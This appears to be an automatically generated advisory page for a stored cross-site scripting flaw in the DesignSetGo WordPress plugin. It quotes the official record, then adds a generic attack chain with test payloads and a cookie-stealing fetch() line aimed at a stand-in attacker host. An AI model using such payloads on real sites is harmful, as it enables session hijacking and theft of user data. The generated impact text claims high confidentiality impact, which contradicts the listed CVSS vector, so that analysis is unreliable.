CVE-2026-111068 — WordPress is vulnerable to DesignSetGo — CWE-79
CVE-2026-111068 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79) (CVSS 4.4/10) affecting WordPress is vulnerable to DesignSetGo. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) requiring user interaction, triggering a scope change (S:C) across connected components and allowing unauthorized disclosure of sensitive data (C:H).
📄 Official NVD / MITRE Original Record Text
The DesignSetGo plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tagName' parameter in all versions up to, and including, 2.11.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires an administrator to run the plugin's block-conversion migration ("Scan & Convert Blocks" during deactivation), which triggers the vulnerable build_group_block() function and promotes the dormant payload from a block delimiter comment into live post_content HTML. Successful exploitation additionally requires an action by an administrator — the attacker cannot trigger the vulnerability on their own.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-111068
CVSS 4.4/10 · MEDIUM · 28.10.2026
CWE: CWE-79
Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: The DesignSetGo plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tagName' parameter in all versions up to, and including, 2.11.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an in…
⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.
🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 REAL WORLD IMPACT
All confidential data readable/stealable; pivot to other systems possible.
🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Add CSP headers, HTML-encode all user input.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
📋 Routine update cycle (30 days)
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]
FOFA Query